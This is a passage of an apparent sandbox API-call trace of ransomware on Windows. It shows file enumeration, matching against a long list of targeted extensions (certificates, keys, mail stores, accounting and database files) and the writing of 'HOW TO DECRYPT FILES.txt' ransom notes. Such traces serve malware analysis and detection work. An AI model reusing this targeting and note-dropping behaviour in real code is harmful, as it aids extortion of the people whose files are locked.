(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.pfx") returned 0 [0108.671] lstrlenA (lpString="*.pfx") returned 5 [0108.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.pem") returned 0 [0108.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.p12") returned 0 [0108.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.gpg") returned 0 [0108.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.vsd") returned 0 [0108.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.odg") returned 0 [0108.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.raw") returned 0 [0108.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.nef") returned 0 [0108.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.svg") returned 0 [0108.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.psd") returned 0 [0108.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.vmx") returned 0 [0108.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.vmdk") returned 0 [0108.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.vdi") returned 0 [0108.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.lay6") returned 0 [0108.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.mpeg") returned 0 [0108.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.djvu") returned 0 [0108.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.tiff") returned 0 [0108.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.backup") returned 0 [0108.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.pdf") returned 0 [0108.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.cert") returned 0 [0108.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.docm") returned 0 [0108.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.xlsm") returned 0 [0108.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.dwg") returned 0 [0108.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.nd") returned 0 [0108.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.tlg") returned 0 [0108.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.lgb") returned 0 [0108.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.mov") returned 0 [0108.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.xdw") returned 0 [0108.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.ods") returned 0 [0108.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.wav") returned 0 [0108.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.mp3") returned 0 [0108.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.aiff") returned 0 [0108.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.flac") returned 0 [0108.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.m4a") returned 0 [0108.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.csv") returned 0 [0108.675] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5919290, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb5919290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5919290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x4d000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.675] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.675] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6ded310, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb6ded310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6ded310, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="df1b5ebc81595ac647d120a218b29fcf", cAlternateFileName="DF1B5E~1")) returned 1 [0108.675] lstrcmpA (lpString1=".", lpString2="df1b5ebc81595ac647d120a218b29fcf") returned -1 [0108.675] lstrcmpA (lpString1="..", lpString2="df1b5ebc81595ac647d120a218b29fcf") returned -1 [0108.675] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\*.*") returned="*.*" [0108.676] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\", lpString2="df1b5ebc81595ac647d120a218b29fcf" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf" [0108.676] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6ded310, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb6ded310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6ded310, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.676] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.676] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6ded310, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb6ded310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6ded310, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.676] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.676] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.676] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6d08ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb6d08ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6d2ec30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1b5e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.677] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.677] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll") returned -1 [0108.677] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll") returned -1 [0108.677] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll") returned -1 [0108.677] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\*.*") returned="*.*" [0108.677] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\" [0108.677] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\") returned="" [0108.677] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\HOW TO DECRYPT FILES.txt" [0108.677] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.in#\\df1b5ebc81595ac647d120a218b29fcf\\how to decrypt files.txt")) returned 0xffffffff [0108.677] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.in#\\df1b5ebc81595ac647d120a218b29fcf\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.691] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0108.693] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.693] CloseHandle (hObject=0x90) returned 1 [0108.693] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\", lpString2="Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll" [0108.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.ems") returned 0 [0108.693] lstrlenA (lpString="*.ems") returned 5 [0108.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.db") returned 0 [0108.693] lstrlenA (lpString="*.db") returned 4 [0108.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.dbf") returned 0 [0108.693] lstrlenA (lpString="*.dbf") returned 5 [0108.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.myox") returned 0 [0108.693] lstrlenA (lpString="*.myox") returned 6 [0108.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.myo") returned 0 [0108.694] lstrlenA (lpString="*.myo") returned 5 [0108.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.qbw") returned 0 [0108.694] lstrlenA (lpString="*.qbw") returned 5 [0108.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.qbb") returned 0 [0108.694] lstrlenA (lpString="*.qbb") returned 5 [0108.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.qbm") returned 0 [0108.694] lstrlenA (lpString="*.qbm") returned 5 [0108.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.qbo") returned 0 [0108.694] lstrlenA (lpString="*.qbo") returned 5 [0108.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.qbx") returned 0 [0108.694] lstrlenA (lpString="*.qbx") returned 5 [0108.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.qba") returned 0 [0108.694] lstrlenA (lpString="*.qba") returned 5 [0108.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.qby") returned 0 [0108.694] lstrlenA (lpString="*.qby") returned 5 [0108.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.qbj") returned 0 [0108.694] lstrlenA (lpString="*.qbj") returned 5 [0108.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.ofx") returned 0 [0108.695] lstrlenA (lpString="*.ofx") returned 5 [0108.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.qif") returned 0 [0108.695] lstrlenA (lpString="*.qif") returned 5 [0108.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.mye") returned 0 [0108.695] lstrlenA (lpString="*.mye") returned 5 [0108.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.mbox") returned 0 [0108.695] lstrlenA (lpString="*.mbox") returned 6 [0108.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.eml") returned 0 [0108.695] lstrlenA (lpString="*.eml") returned 5 [0108.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.pst") returned 0 [0108.695] lstrlenA (lpString="*.pst") returned 5 [0108.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.ost") returned 0 [0108.695] lstrlenA (lpString="*.ost") returned 5 [0108.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.idx") returned 0 [0108.695] lstrlenA (lpString="*.idx") returned 5 [0108.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.dbx") returned 0 [0108.695] lstrlenA (lpString="*.dbx") returned 5 [0108.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.sql") returned 0 [0108.696] lstrlenA (lpString="*.sql") returned 5 [0108.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.mdb") returned 0 [0108.696] lstrlenA (lpString="*.mdb") returned 5 [0108.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.fdb") returned 0 [0108.696] lstrlenA (lpString="*.fdb") returned 5 [0108.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.wab") returned 0 [0108.696] lstrlenA (lpString="*.wab") returned 5 [0108.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.dat") returned 0 [0108.696] lstrlenA (lpString="*.dat") returned 5 [0108.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.txt") returned 0 [0108.696] lstrlenA (lpString="*.txt") returned 5 [0108.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.jpeg") returned 0 [0108.696] lstrlenA (lpString="*.jpeg") returned 6 [0108.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.jpg") returned 0 [0108.696] lstrlenA (lpString="*.jpg") returned 5 [0108.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.png") returned 0 [0108.696] lstrlenA (lpString="*.png") returned 5 [0108.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.php") returned 0 [0108.696] lstrlenA (lpString="*.php") returned 5 [0108.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.cs") returned 0 [0108.697] lstrlenA (lpString="*.cs") returned 4 [0108.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.cpp") returned 0 [0108.697] lstrlenA (lpString="*.cpp") returned 5 [0108.697] PathMatchSpecA 